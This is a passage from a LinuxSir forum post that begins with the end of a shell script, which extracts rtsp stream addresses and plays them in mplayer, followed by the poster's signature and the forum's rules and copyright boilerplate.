link_addr4|tr '"' '\n'|grep ^rtsp > real_addr;rm link_addr4 mplayer -playlist real_addr;rm real_addr fi done







__________________
===============================================
论坛使用及常见问题解决办法:
http://bbs.linuxsir.org/showthread.php?t=108946
===============================================
昨日之非不可留,留之则根烬复萌,而尘情终累乎理趣;
今日之是不可执,执之则渣滓未化,而理趣反转为欲根。
===============================================

此帖于 04-07-18 22:33 被 aaccdd 编辑.
  aaccdd 当前离线   回复时引用此帖
发表新主题 回复


主题工具

发帖规则
您 [不可以] 发表新主题
您 [不可以] 回复主题
您 [不可以] 上传附件
您 [不可以] 编辑您的帖子

已 [启用] BB 代码
已 [启用] 表情符号
已 [启用] IMG 代码
已 [禁用] HTML 代码
[论坛跳转…]


所有时间均为[北京时间]。现在的时间是 12:04


Powered by vBulletin 版本 3.6.8
版权所有 ©2000 - 2012, Jelsoft Enterprises Ltd.
官方中文技术支持: vBulletin 中文
版权所有 ©2002 - 2011, LinuxSir.Org